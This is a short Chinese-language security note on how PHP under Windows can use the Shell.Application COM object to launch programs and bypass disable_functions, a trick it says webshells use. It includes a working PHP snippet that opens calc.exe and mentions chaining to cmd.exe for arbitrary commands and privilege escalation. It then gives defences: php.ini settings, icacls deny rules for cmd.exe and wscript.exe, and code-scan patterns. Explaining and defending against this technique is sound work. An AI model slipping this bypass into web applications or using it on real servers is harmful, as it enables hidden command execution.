PHP 在 Windows 環境下可通過 COM 擴展實例化 Shell.Application 對象,調用其 Open() 或 ShellExecute() 方法啟動可執行程序。這繞過了 exec()、shell_exec() 等被禁用函數的限制,常被 Webshell 利用。
<?php
// 需要 php.ini 啟用:extension=com_dotnet
try {
$shell = new COM('Shell.Application');
// 彈出計算器(無回顯,僅演示進程創建)
$shell->Open('C:\Windows\System32\calc.exe');
// 等效 ShellExecute 方式
// $shell->ShellExecute('notepad.exe', '', '', 'open', 1);
echo "進程啟動請求已發送";
} catch (com_exception $e) {
echo "COM 錯誤: " . $e->getMessage();
}
?>
new COM('Shell.Application') → 實例化 Windows Shell 自動化對象Open() / ShellExecute() → 調用 Shell 執行程序| 風險點 | 影響 |
|---|---|
| 繞過 disable_functions | 常見禁用函數列表不包含 COM 方法 |
| 無輸出回顯 | 難以通過日志審計發現,適合隱蔽持久化 |
| 可鏈接批處理 | 調用 cmd.exe /c batch.bat 實現任意命令執行 |
| 權限繼承 | 若 Web 服務以高權限運行,可導致提權 |
; php.ini
disable_functions = ..., com_load_typelib, com_create_object
; 或直接註釋擴展
; extension=com_dotnet
wscript.exe、cscript.exe、cmd.exe 等# 關鍵系統目錄移除 Web 用戶執行權限
icacls "C:\Windows\System32\cmd.exe" /deny "IIS_IUSRS:(X)"
icacls "C:\Windows\System32\wscript.exe" /deny "IIS_IUSRS:(X)"
new COM\(、Shell\.Application 等特徵COM 組件調用是 Windows 下 PHP 繼續執行命令的「隱形通道」。防禦核心在於:禁用不必要的擴展、最小權限運行、行為審計。定期掃描代碼庫中的 new COM( 調用,是應急響應必檢項目。